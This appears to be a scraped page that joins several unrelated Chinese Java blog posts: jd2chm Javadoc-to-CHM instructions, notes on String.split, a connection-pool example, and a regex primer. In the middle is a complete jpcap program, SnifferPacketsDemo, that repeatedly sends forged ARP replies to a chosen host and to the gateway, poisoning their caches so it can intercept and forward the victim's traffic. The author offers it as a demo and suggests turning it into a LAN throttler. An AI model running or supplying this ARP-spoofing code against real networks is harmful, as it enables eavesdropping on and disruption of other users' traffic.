Pre-processing:

由于chm是微软公司发布的一种帮助文档格式,所有要使用下面的方法转换,请先安装HTML Help Workshop(HHW)。还有一个很重要的问题,就是如何从项目生成Javadoc,可以使用Eclipse中的Export功能,但是这里有几个小点需要注意:

1. Java代码的格式问题

Java代码编写的使用有的使用GBK,有的使用UTF-8,这个时候就会有区别。使用GBK编码的时候生成Javadoc文档时没有太大问题的,但是,要是整个项目的默认编码格式是UTF-8的话,就会报警告:编码 GBK 的不可映射字符

根本没有成功生成Javadoc文档,如何解决?解决方案就是在生成Javadoc的时候对VM options进行编码设置-encoding UTF-8 -charset UTF-8,设置如下:

2.如何把生成的Javadoc文档生成英语版本

这个问题有的时候为了解决中文乱码是很重要的,我们生成英文版本的Javadoc(仅对生成的Javadoc框架的语言做限制,并没有对注释内容的格式做限制,也就是说这个时候注释还是可以是中文的)。 解决方案也是在VM options中加入-locale en_US,但是此时注意的是,如果把-locale en_US设置在后面的话,会报一个错误,大致是-locale en_US在javadoc命令必须是在最前面,所有,正确的写法就是-locale en_US -encoding UTF-8 -charset UTF-8(整合上面),默认如果不写-locale的话,安装locale语言来进行设置,当然我们中国人就是中文的了。(当然如果你工程默认编码是GBK而且您想生成中文的帮助文档的话,这写都可以不要,使用默认即可) 设置截图如下:

Generate .chm Document:

关于 Javadoc To CHM 的介绍,这里摘自原作者的网站:http://www.burgaud.com/jd2chm/

Javadoc To CHM is a software that generates Microsoft HTML Help projects files from a Javadoc documentation. It generates the project file (.HHP), the contents file (.HHC) and the index file (.HHK). After having generated the HTML project files, Jd2chm invokes the Microsoft HTML Help Compiler (hhc.exe) with the project file (.HHP) as parameter in order to build the Compiled HTML file (.CHM).

Summary

Screenshot

Notes About Jd2chm Version 0.3

Jd2chm 0.3 does not have a documentation other than the following sections. You can also access the slightly outdated jd2chm 2.0 documentation, jd2chm_doc.htm or jd2chm.pdf (138kB). Feel free to contact the author if you have any question.

Features

Jd2chm 0.3 includes many improvements. Here is a brief list of the new Jd2chm features and improvements:

  • Distributed in two formats: Python script, jd2chm_py_03.zip (10kB), for those who already have Python installed on their computer and Win32 executable version, jd2chm_exe_03.zip (1MB), for the others.
  • The executable version was prepared with the McMillan Installer. See section Resources for related resources.
  • Script compatible with Python 2.2 and 2.3.
  • Performance improvement: the parsing does not use any more the HTML parser but only regular expressions.
  • The Microsoft HTML Help Compiler is required (see Javadoc To CHM Resources).
  • Detection of the Microsoft HTML compiler.
  • Starts automatically the CHM compilation.
  • Moving the full JDK Javadoc API to a temporary directory is not needed any more.
  • Tested successfully against the Javadoc APIs from both J2SE 1.4.2 and J2SE 1.5.0 Beta 2.
  • The CHM Table of Contents is generated as binary for performance purpose, but the icons used can only be the default one.
  • The CHM Table of Contents includes the methods (was limited to the Java classes until version 0.2).
  • Addition of the non public inner classes in the Table of Contents.
  • Light logging implementation.
  • The CHM files generated may be open on Linux with xCHM.

Installation

  1. Download either the python script package jd2chm_py_03.zip (10kB) or the executable package jd2chm_exe_03.zip (1MB).
  2. To install the script package, extract the 2 files from jd2chm_py_03.zip (10kB) and copy them into a directory included in your PATH.
  3. To install the script package, extract the executable file from jd2chm_exe_03.zip (1MB) and copy this file into a directory included in your PATH.

Usage

  • Open a command line in a Javadoc API directory.
  • Type jd2chm followed by ENTER.
  • Enter prompted informations, as in the following example:
C:\javadoc\beanshell>jd2chm
jd2chm Version 0.3
Copyright (c) 2000-2004 Andre Burgaud

http://www.burgaud.com

The project name will be given to:
- The HTML Help project files (.HHP, .HHK, .HHC)
- To the final CHM file
Enter the project name: bsh
The project title will be assign to the CHM window
Enter the project title: "Beanshell API"
[11-08-2005 14:21:44] INFO      Starts building the project
[11-08-2005 14:21:44] INFO      Project: bsh
[11-08-2005 14:21:44] INFO      Title: "Beanshell API"
...

Running the script with the option -h will display the usage.

Download

jd2chm_py_03.zip (10kB) Python script Jd2chm (requires Python 2.2 or greater).
jd2chm_exe_03.zip (1MB) Jd2chm in binary format (does not require Python to be installed on your machine).
jd2chm_doc.htm (12kB) Jd2chm 0.2 documentation (HTML format).
jd2chm.pdf (138kB) Jd2chm 0.2 documentation (PDF format).
jd2chm02.zip (125kB) Jd2chm Version 0.2
jd2chm01.zip (115kB) Jd2chm Version 0.1

Resources

如果读者喜欢原版的话可以参照上面的说明制作,不过另外xxli79将原版作了少少修改,修正了原版的一些bugs,该版本发布在csdn上,连接地址为:http://download.csdn.net/source/1024968

下面再度摘抄修改版作者的说明如下:

改造自jd2chm 0.3,这个软件好像从04年后就一直没有更新了,但是0.3版存在一些问题,从06年第一次出j2se1.5 api spec中文版的时候,俺自己动手改了改代码编译了一份chm,编译的chm和工具后来也就小范围流转,自己查阅的各方面javadoc我都会编译成 chm,比htm来得方便很多。

最近编译1.6的api spec,又更新了一下,感觉这东东还是挺不错的,因此干脆发布出来大家同乐乐吧。希望对搞java的兄弟有点用。
已知问题:对于UTF-8编码的中文javadoc,编译成chm后无法搜索中文。

纳米盘下载(1.4M):http://www.namipan.com/d/e2392071317bb45ecdcfc31b5de493248d68909ea4dc1600

另外编译好的1.6的api spec也可以从纳米盘下载,自己编译一次还是比较耗时间的。
中文(08年5月的,比官方发布的、网上流传的中文chm新):http://www.namipan.com/d/0afe8c540ce8ca604515779941c051d1003043910b667602
英文:http://www.namipan.com/d/88535dc749ee0b9319f9dab59ada0c2691fb7f0269925402

我改的内容:
============================================
v0.34
1、英文版的保持原始jd2chm版本带的CSS
2、中文版本的javadoc可选择使用雅黑

============================================

v0.33
1、可以不拷贝到临时目录
2、可以选择Language为中文:对于中文的javadoc,如果不能搜索中文,可以启用该参数试试
3、替换hhc文件的“<A[^>]+>([^<]+)</A>”为“\1”
4、替换hhc文件的“&nbsp;”为“ ”
5、默认doc字体设置为雅黑(css)
6、修正语言为非英文时,目录树字体难看的问题(-->Microsoft Sans Serif)
7、Interface节点换个书的图标,看得清楚些

============================================

v0.32
1、兼容性问题:有些Javadoc没有index-all.html

============================================

v0.31
1、增加启动参数 start_dir
2、增加选项,完成后删除临时文件
3、绿化hhc
 

总结Java中使用split分隔字符串

1、转义字符 “” 转义字符进行分隔时,需要将转义字符再转义一次,也就是”\”

2、正则表达式字符

public class Test {
    public static void main(String[] args) {
       String str = "a|b";
       System.out.println(str.split("|").length);
    }
}

由于|属于正则表达式字符,split的参数也是正则表达式,这里 得到的结果是 4,修改”|”为”[|]“,得到的结果为2

从上面的结果我们可知,像replaceAll这类函数代替换字符为正则表达式字符时同样加上”[]“进行replace.

 

第一部分:

import java.net.Inet4Address;
import java.net.InetAddress;
import java.util.Arrays;

import jpcap.*;
import jpcap.packet.*;

public class ARP {
 public static byte[] arp(InetAddress ip) throws java.io.IOException{
  //find network interface
  NetworkInterface[] devices=JpcapCaptor.getDeviceList();
  NetworkInterface device=null;

loop: for(NetworkInterface d:devices){
   for(NetworkInterfaceAddress addr:d.addresses){
    if(!(addr.address instanceof Inet4Address)) continue;
    byte[] bip=ip.getAddress();
    byte[] subnet=addr.subnet.getAddress();
    byte[] bif=addr.address.getAddress();
    for(int i=0;i<4;i++){
     bip[i]=(byte)(bip[i]&subnet[i]);
     bif[i]=(byte)(bif[i]&subnet[i]);
    }
    if(Arrays.equals(bip,bif)){
     device=d;
     break loop;
    }
   }
  }

  if(device==null)
   throw new IllegalArgumentException(ip+" is not a local address");

  //open Jpcap
  JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000);
  captor.setFilter("arp",true);
  JpcapSender sender=captor.getJpcapSenderInstance();

  InetAddress srcip=null;
  for(NetworkInterfaceAddress addr:device.addresses)
   if(addr.address instanceof Inet4Address){
    srcip=addr.address;
    break;
   }

  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
  ARPPacket arp=new ARPPacket();
  arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  arp.sender_hardaddr=device.mac_address;
  arp.sender_protoaddr=srcip.getAddress();
  arp.target_hardaddr=broadcast;
  arp.target_protoaddr=ip.getAddress();

  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;
  ether.dst_mac=broadcast;
  arp.datalink=ether;

  sender.sendPacket(arp);

  while(true){
   ARPPacket p=(ARPPacket)captor.getPacket();
   if(p==null){
    throw new IllegalArgumentException(ip+" is not a local address");
   }
   if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
    return p.sender_hardaddr;
   }
  }
 }

 public static void main(String[] args) throws Exception{
  if(args.length<1){
   System.out.println("Usage: java ARP <ip address>");
  }else{
   byte[] mac=ARP.arp(InetAddress.getByName(args[0]));
   System.out.println(mac);
   for (byte b : mac)
    System.out.print(Integer.toHexString(b&0xff) + ":");
   System.out.println();
   System.exit(0);
  }
 }
}

第二部分:

import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;

public class SnifferPacketsDemo {

 private NetworkInterface[] devices; // 设备列表
 private NetworkInterface device; // 要使用的设备
 private JpcapCaptor jpcap; // 与设备的连接
 private JpcapSender sender; // 用于发送的实例
 private ARPPacket arpTarget, arpGate;
 private byte[] targetMAC, gateMAC; // B的MAC地址,网关的MAC地址
 private String targetIp, gateIp; // B的IP地址,网关的IP地址

 /**
  *初始化设备 JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic dialup
  * adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
  * 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
  * JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
  * 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分 配给虚拟网卡,也就是说在程序中调用device.
  * mac_address时得到的是00 00 00 00 00 00。
  */
 private NetworkInterface getDevice() throws IOException {
  devices = JpcapCaptor.getDeviceList(); // 获得设备列表
  device = devices[1]; // 只有一个设备
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); // 打开与设备的连接
  jpcap.setFilter("ip", true); // 只监听B的IP数据包
  sender = jpcap.getJpcapSenderInstance();
  return device;
 }

 /**
  *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一 段时间就发一次包重新更改B和网关的ARP表。
  *
  *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
  *@参数 targetIp B的IP地址;
  *@参数 gateMAC 网关的MAC地址;
  *@参数 gateIp 网关的IP;
  */
 public SnifferPacketsDemo(byte[] targetMAC, String targetIp,
   byte[] gateMAC, String gateIp) throws UnknownHostException,
   IOException {
  this.targetMAC = targetMAC;
  this.targetIp = targetIp;
  this.gateMAC = gateMAC;
  this.gateIp = gateIp;
  getDevice();
  arpTarget = new ARPPacket(); // 修改B的ARP表的ARP包
  arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // 选择以太网类型(Ethernet)
  arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // 选择IP网络协议类型
  arpTarget.operation = ARPPacket.ARP_REPLY; // 选择REPLY类型
  arpTarget.hlen = 6; // MAC地址长度固定6个字节
  arpTarget.plen = 4; // IP地址长度固定4个字节
  arpTarget.sender_hardaddr = device.mac_address /* gateMAC */; // A的MAC地址
  arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); // 网关IP
  arpTarget.target_hardaddr = targetMAC; // B的MAC地址
  arpTarget.target_protoaddr = InetAddress.getByName(targetIp)
    .getAddress(); // B的IP

  EthernetPacket ethToTarget = new EthernetPacket(); // 创建一个以太网头
  ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 选择以太包类型
  ethToTarget.src_mac = device.mac_address; // A的MAC地址
  ethToTarget.dst_mac = targetMAC; // B的MAC地址
  arpTarget.datalink = ethToTarget; // 将以太头添加到ARP包前

  arpGate = new ARPPacket(); // 修改网关ARP表的包
  arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; // 跟以上相似,不再重复注析
  arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  arpGate.operation = ARPPacket.ARP_REPLY;
  arpGate.hlen = 6;
  arpGate.plen = 4;
  arpGate.sender_hardaddr = device.mac_address /* targetMAC */;
  arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  arpGate.target_hardaddr = gateMAC;
  arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

  EthernetPacket ethToGate = new EthernetPacket();
  ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  ethToGate.src_mac = device.mac_address;
  ethToGate.dst_mac = gateMAC;
  arpGate.datalink = ethToGate;

  new Thread(new Runnable() { // 创建一个进程控制发包速度
     public void run() {
      while (true) {
       sender.sendPacket(arpTarget);
       sender.sendPacket(arpGate);
       try {
        Thread.sleep(1000);
       } catch (InterruptedException e) {
        e.printStackTrace();
       }
      }
     }
    }).start();
  recP(); // 接收数据包并转发
 }

 /**
  *修改包的以太头,转发数据包 参数 packet 收到的数据包 参数 changeMAC 要转发出去的目标
  */
 private void send(Packet packet, byte[] changeMAC) {
  EthernetPacket eth;
  if (packet.datalink instanceof EthernetPacket) {
   eth = (EthernetPacket) packet.datalink;
   for (int i = 0; i < 6; i++) {
    eth.dst_mac[i] = changeMAC[i]; // 修改包以太头,改变包的目标
    eth.src_mac[i] = device.mac_address[i]; // 源发送者为A
   }
   sender.sendPacket(packet);
  }
 }

 /**
  *打印接受到的数据包并转发
  */
 public void recP() {
  IPPacket ipPacket = null;
  while (true) {
   ipPacket = (IPPacket) jpcap.getPacket();
   System.out.println(ipPacket);
   if (ipPacket.src_ip.getHostAddress().equals(targetIp))
    send(ipPacket, gateMAC);
   // else
   // send(ipPacket, targetMAC);
  }
 }

 public static void main(String[] args) {
  String gateIP = "192.168.1.1";
  String targetIP = "192.168.1.103";
  try {
   byte[] gateMac = ARP.arp(InetAddress.getByName(gateIP));
   byte[] targetMac = ARP.arp(InetAddress.getByName(targetIP));
   new SnifferPacketsDemo(targetMac, targetIP, gateMac, gateIP);
  } catch (UnknownHostException e) {
   e.printStackTrace();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
}

虽然这是一个小小的demo,希望读者能从此得到一些收获,
相信在此基础上改进程序为局域网限速程序,已不成问题。

072010
 

IDBConnection.java

package org.lbr.sqlserver;
import java.sql.Connection;
import java.sql.SQLException;
public interface IDBConnection {
    public Connection createConnection() throws ClassNotFoundException,
            SQLException;
    public void closeConn() throws SQLException;
    public Connection getConn();
}

IDBConnectionManager.java

package org.lbr.sqlserver;
import java.sql.SQLException;
public interface IDBConnectionManager {
    public IDBConnection getAvailableConnection() throws ClassNotFoundException,
            SQLException;
    public void closeConn(IDBConnection dbConnection) throws SQLException;
}

SQLConnection.java

package org.lbr.sqlserver;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class SQLConnection implements IDBConnection {
    private static SQLServerProperties prop = new SQLServerProperties();
    private Connection conn;
    public Connection createConnection() throws ClassNotFoundException,
            SQLException {
        try {
            Class.forName(prop.getDBDRIVER());
            conn = DriverManager.getConnection(prop.getDBURL(), prop
                    .getDBUSER(), prop.getDBPASS());
        } catch (IOException e) {
            e.printStackTrace();
        }
        return conn;
    }
    public void closeConn() throws SQLException {
        if (!conn.isClosed()) {
            conn.close();
            conn = null;
        }
    }
    public Connection getConn() {
        return conn;
    }
}

SQLConnectionManager.java

package org.lbr.sqlserver;
import java.sql.Connection;
import java.sql.SQLException;
public class SQLConnectionManager implements IDBConnectionManager {
    private static SQLConnectionManager dbConnection;
    private static final int connectionSize = 5;
    private SQLConnection[] connections;
    private SQLConnectionManager() {
        connections = new SQLConnection[connectionSize];
    }
    public static SQLConnectionManager getSQLServerConnectionManagerInstance() {
        if (dbConnection == null) {
            dbConnection = new SQLConnectionManager();
        }
        return dbConnection;
    }
    public IDBConnection getAvailableConnection() throws ClassNotFoundException,
            SQLException {
        SQLConnection sqlConnection = null;
        for (int i = 0; i < connectionSize; i++) {
            if (connections[i] != null) {
                if (connections[i].getConn() == null) {
                    sqlConnection = connections[i];
                    System.out.print("找到位置:" + i + "\t");
                    break;
                }
            }
        }
        if (sqlConnection == null) {
            for (int i = 0; i < connectionSize; i++) {
                if (connections[i] == null) {
                    sqlConnection = new SQLConnection();
                    connections[i] = sqlConnection;
                    System.out.print("找到位置:" + i + "\t");
                    break;
                }
            }
        }
        return sqlConnection;
    }
    public void closeConn(IDBConnection dbConnection) throws SQLException {
        dbConnection.closeConn();
    }
    public static void main(String[] args) {
        SQLConnectionManager dbConnectionManager = SQLConnectionManager
                .getSQLServerConnectionManagerInstance();
        try {
            // DBConnection dbConnection =
            // dbConnectionManager.getAvailableConnection();
            // Connection conn = dbConnection.createConnection();
            // System.out.println(conn.isClosed());
            // dbConnectionManager.closeConn(dbConnection);
            IDBConnection[] dbConnection = new IDBConnection[10];
            for (int i = 0; i < 7; i++) {
                dbConnection[i] = dbConnectionManager.getAvailableConnection();
                if (dbConnection[i] == null) {
                    System.out.print("创建第 " + i + " 个对象 : 没有剩余空间,正在寻找可用空间");
                    dbConnectionManager.closeConn(dbConnection[i - 3]);
                    System.out.print("\t关闭了空间" + (i - 3) + ",再次寻找可用空间\t");
                    dbConnection[i] = dbConnectionManager
                            .getAvailableConnection();
                }
                Connection conn = dbConnection[i].createConnection();
                System.out.print("创建第 " + i + " 个对象 : " + conn.isClosed());
                // dbConnectionManager.closeConn(dbConnection[i]);
                System.out.println("\t是否关闭了:" + conn.isClosed());
            }
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

SQLServerProperties.java

package org.lbr.sqlserver;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
public class SQLServerProperties {
    private String DBDRIVER;
    private String DBURL;
    private String DBUSER;
    private String DBPASS;
    public String getDBDRIVER() throws ClassNotFoundException, IOException {
        if (DBDRIVER == null) {
            DBDRIVER = this.getProperties("DBDRIVER");
        }
        return DBDRIVER;
    }
    public void setDBDRIVER(String dbdriver) {
        DBDRIVER = dbdriver;
    }
    public String getDBURL() throws ClassNotFoundException, IOException {
        if (DBURL == null) {
            DBURL = this.getProperties("DBURL");
        }
        return DBURL;
    }
    public void setDBURL(String dburl) {
        DBURL = dburl;
    }
    public String getDBUSER() throws ClassNotFoundException, IOException {
        if (DBUSER == null) {
            DBUSER = this.getProperties("DBUSER");
        }
        return DBUSER;
    }
    public void setDBUSER(String dbuser) {
        DBUSER = dbuser;
    }
    public String getDBPASS() throws ClassNotFoundException, IOException {
        if (DBPASS == null) {
            DBPASS = this.getProperties("DBPASS");
        }
        return DBPASS;
    }
    public void setDBPASS(String dbpass) {
        DBPASS = dbpass;
    }
    private String getProperties(String key) throws ClassNotFoundException,
            IOException {
        InputStream in = null;
        Properties p = new Properties();
        in = Class.forName("org.lbr.sqlserver.SQLServerProperties")
                .getResourceAsStream("/conf/sqlserverproperties.properties");
        p.load(in);
        return p.getProperty(key);
    }
    public static void main(String[] args) {
        SQLServerProperties dbProperties = new SQLServerProperties();
        try {
            System.out.println(dbProperties.getDBDRIVER());
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

sqlserverproperties.properties

DBDRIVER=com.microsoft.sqlserver.jdbc.SQLServerDriver
DBURL=jdbc:sqlserver://localhost:1433; DatabaseName=Test
DBUSER=sa
DBPASS=1225

连接池的简单实现,完.

 

正则表达式(regular expression)一个又经典又实用又陌生的东西。说他经典因为”正则表达式”在1956年就有了,说他实用是因为各种语言里都有它的身影,说他陌生是因为使用的人不很多。

今天遇到了,不妨就了解一下吧。反正有益无害,绝对是绿色产品。
正则表达式主要应用于文本的处理,如检索,替换,检查错误,文字拆分…实在是一言难尽,如果要全部写出来,一本书都不差不多。还好oreilly已经为我们出了一本了。

讲具体内容以前先给个完整的例子,这样能有个感性的认识。

import java.util.regex.*;
public class Regex{   
   public static void main(String[] args){        
      String text = "my email address is xhinker@163.com";
      Pattern pattern = Pattern.compile("\\w+@\\w+.\\w+");
      Matcher matcher = pattern.matcher(text);
      if(matcher.find()){
        System.out.println(matcher.group());
      }    
  }
}

把这段程序用jdk或jcreator或水腻的便了。反正运行起来就是了
输出结果:xhinker@163.com
当你看完下面的东西回头再看看这段程序就会发现,这不过是小菜一碟

字符和字符类

表格 A: 字符匹配
操作 解释 例子 结果
. 单个字符匹配 .ord 匹配 “ford”, “lord”, “2ord”,
[ ] 多个字符列表 [cng] 只会匹配 “cord”, “nord”, 和 “gord”
[^ ] 不出现字符列表 [^cn] 匹配 “lord”, “2ord”, 等. 但不会匹配 “cord” or “nord”
[a-zA-Z] 匹配 “aord”, “bord”, “Aord”, “Bord”等
[^0-9] 匹配 “Aord”, “aord”, 等. 但不会匹配“2ord”, 等.

表格 B: 重复操作符
操作 解释 例子 结果
? 匹配0次或1次 “?erd” 匹配 “berd”, “herd”“erd”等
* 匹配0次以上 “n*rd” 匹配 “nerd”, “nrd”, “neard”, 等.
+ 匹配1次以上 “[n]+erd” 匹配 “nerd”, “nnerd”, 等., 但不匹配 “erd”
{n} 匹配n次 “[a-z]{2}erd” 匹配“cherd”, “blerd”, 等. 但不匹配 “nerd”, “erd”, “buzzerd”, 等.
{n,} 匹配n次以上 “.{2,}erd” 匹配 “cherd” and “buzzerd”, but not “nerd”
{n,N} 匹配n-N次 “n[e]{1,2}rd” 匹配 “nerd” and “neerd”等

常用符号:
\d:[0-9]
\D:[^0-9]
\w:[a-zA-Z0-9]
\W:[^a-zA-Z0-9]

{?i):大小写无关

\b和\B分别表示词边界和非词边界
当然上面这些只不过是最常用的,写出几个正则表达式是没有问题了。接下来说说java。
在java里\有其自身的意义,所以在用\s,\d的时候要加上一个\也就是\\s 、\\d \\(等java自1.4后开始支持正则表达式,东西都放在java.util.regex包里,用Pattern生成一个模式对象,然后用matcher进行匹 配。如果要输出匹配结果的话,一定要记得写上matcher.find();否则会出错。当然也可以用替换,这就要看你的喜好拉。想看更多的例子就去 jdk帮助文档。

想了解更多或者掌握正则表达式的话,google去吧,那里是知识的海洋。

本文出自 “Xhinker” 博客,请务必保留此出处http://xhinker.blog.51cto.com/640011/134236

无觅相关文章插件,快速提升流量